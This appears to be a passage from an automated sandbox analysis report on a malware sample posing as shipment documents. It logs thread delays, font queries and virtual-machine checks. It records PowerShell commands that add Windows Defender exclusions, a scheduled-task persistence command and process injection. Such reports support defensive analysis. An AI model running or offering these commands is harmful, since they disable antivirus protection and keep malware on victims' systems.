Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 596828	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 596718	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 596609	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 596500	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 596390	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 596281	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 596172	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 596062	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 595953	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 595843	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 595734	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 595625	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 595515	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 595406	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 595297	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 595187	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 595068	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 594953	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 594844	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 594734	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 594624	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 594515	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 594406	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 600000
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 599890
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 599779
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 599672
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 599562
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 599453
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 599292
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 599175
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 599054
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 598836
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 598719
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 598607
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 598500
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 598390
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 598281
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 598171
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 598062
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 597953
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 597843
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 597734
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 597624
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 597515
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 597406
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 597296
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 597187
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 597078
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 596968
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 596859
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 596740
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 596609
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 596500
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 596390
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 596280
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 596172
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 596062
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 595953
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 595844
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 595719
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 595609
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 595500
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 595390
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 595281
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 595172
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 595062
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 594952
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 594843
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 594734
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 594625
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 594496
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 594221
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 594073

Source: rShipmentDocuments.exe, 00000009.00000002.4135329351.0000000000E18000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllU
Source: ZOlmYtPdlO.exe, 0000000A.00000002.1773124497.00000000080CE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\T
Source: ZOlmYtPdlO.exe, 0000000A.00000002.1764660892.00000000009D2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}<
Source: ZOlmYtPdlO.exe, 00000010.00000002.4136109973.0000000001429000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\rShipmentDocuments.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\rShipmentDocuments.exe

Code function: 9_2_068F9328 LdrInitializeThunk,

9_2_068F9328

Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\rShipmentDocuments.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\rShipmentDocuments.exe"
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe"
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\rShipmentDocuments.exe"	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe"	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe

Memory written: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe base: 400000 value starts with: 4D5A

Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\rShipmentDocuments.exe"	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe"	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\ZOlmYtPdlO" /XML "C:\Users\user\AppData\Local\Temp\tmp44A0.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process created: C:\Users\user\Desktop\rShipmentDocuments.exe "C:\Users\user\Desktop\rShipmentDocuments.exe"	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process created: C:\Users\user\Desktop\rShipmentDocuments.exe "C:\Users\user\Desktop\rShipmentDocuments.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\ZOlmYtPdlO" /XML "C:\Users\user\AppData\Local\Temp\tmp5356.tmp"
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process created: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe "C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe"
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process created: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe "C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe"
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process created: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe "C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe"

Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Users\user\Desktop\rShipmentDocuments.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
